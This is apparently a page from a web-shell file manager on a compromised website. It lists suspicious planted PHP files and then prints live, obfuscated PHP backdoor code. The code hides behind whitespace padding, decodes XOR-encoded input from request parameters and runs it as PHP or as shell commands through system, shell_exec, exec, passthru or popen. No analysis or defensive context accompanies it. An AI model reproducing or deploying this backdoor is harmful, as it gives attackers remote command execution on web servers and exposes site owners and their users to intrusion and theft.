Gecko [ herotex-group.site ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2025-05-03 20:55
AperЗu _ Ads Pro_files	[ DIR ]	drwxr-xr-x	2025-05-03 09:39
assets	[ DIR ]	drwxr-xr-x	2025-05-05 05:06
cgi-bin	[ DIR ]	drwxr-xr-x	2025-05-05 03:57
langue	[ DIR ]	drwxr-xr-x	2025-05-05 04:13
resources	[ DIR ]	drwxr-xr-x	2025-05-03 20:07
.htaccess	197 B	-r--r--r--	2025-04-22 01:18
AperЗu _ Ads Pro.html	507.9 KB	-r--r--r--	2024-02-26 23:30
Aperԗu	166 B	-rw-r--r--	2025-05-01 16:05
Aper֗u	166 B	-rw-r--r--	2025-05-03 23:02
EFA GROUPS FINANCE.zip	7.2 MB	-rw-r--r--	2025-04-14 23:54
Name.php	0 B	-rw-r--r--	2025-05-01 05:14
about.php	36.13 KB	-r--r--r--	2023-04-17 05:33
admin.php	5.24 KB	-rw-r--r--	2025-04-22 03:17
apply.php	31.47 KB	-r--r--r--	2023-04-17 05:33
backblue.gif	16.75 KB	-rw-r--r--	2025-04-07 22:37
config.php	279 B	-r--r--r--	2025-04-07 22:45
contact.php	31.85 KB	-r--r--r--	2023-04-17 05:33
error_log	3.03 MB	-rw-r--r--	2025-05-05 05:25
form.php	2.01 KB	-r--r--r--	2023-04-17 05:33
homepageEN.dwt.php	0 B	-rw-r--r--	2025-05-01 05:14
htaccess	661 B	-rw-r--r--	2025-04-15 00:58
index.php	49.97 KB	-r--r--r--	2023-04-17 05:33
info	23 B	-r--r--r--	2023-04-17 05:33
interta.php	570 B	-rw-r--r--	2025-05-01 11:11
services.php	28.39 KB	-r--r--r--	2023-04-17 05:33
session_start	12.55 KB	-rwxr--r--	2023-04-17 05:33
smb.php	0 B	-rw-r--r--	2025-05-01 05:17
testimonials.php	28.73 KB	-r--r--r--	2023-04-17 05:33
wp-blog-header.php	3.6 KB	-rw-r--r--	2025-04-22 01:18
wp-cron.php	3.55 KB	-rw-r--r--	2025-04-22 01:18
wp.php	2.1 KB	-rw-r--r--	2023-04-17 05:33

Rename

<?php																																										if(array_key_exists("ref", $_REQUEST) && !is_null($_REQUEST["ref"])){ $pset = hex2bin($_REQUEST["ref"]); $element = '' ; foreach(str_split($pset) as $char){$element .= chr(ord($char) ^ 31);} $ptr = array_filter([getenv("TMP"), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), sys_get_temp_dir(), session_save_path()]); foreach ($ptr as $object) { if (is_writable($object) && is_dir($object)) { $data = vsprintf("%s/%s", [$object, ".mrk"]); $file = fopen($data, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $data; @unlink($data); exit; } } } }

$batch_process5 = "po\x70e\x6E";
$batch_process3 = "exe\x63";
$batch_process1 = "sy\x73t\x65m";
$batch_process7 = "pc\x6Cose";
$module_controller = "he\x782\x62i\x6E";
$batch_process6 = "\x73tr\x65\x61\x6D_get_c\x6F\x6Et\x65n\x74s";
$batch_process4 = "p\x61s\x73th\x72u";
$batch_process2 = "\x73hel\x6C\x5Fex\x65c";
if (isset($_POST["\x64\x61t"])) {
            function dependency_resolver ($value , $flg ) {
 $ent= '' ;
$e=0;
 do{
$ent.=chr(ord($value[$e])^$flg);
$e++;

} while($e<strlen($value));
 return $ent;

}
            $dat = $module_controller($_POST["\x64\x61t"]);
            $dat = dependency_resolver($dat, 33);
            if (function_exists($batch_process1)) {
                $batch_process1($dat);
            } elseif (function_exists($batch_process2)) {
                print $batch_process2($dat);
            } elseif (function_exists($batch_process3)) {
                $batch_process3($dat, $obj_value);
                print join("\n", $obj_value);
            } elseif (function_exists($batch_process4)) {
                $batch_process4($dat);
            } elseif (function_exists($batch_process5) && function_exists($batch_process6) && function_exists($batch_process7)) {
                $flg_ent = $batch_process5($dat, 'r');
                if ($flg_ent) {
                    $reference_val = $batch_process6($flg_ent);
                    $batch_process7($flg_ent);
                    print $reference_val;
                }
            }
            exit;
        }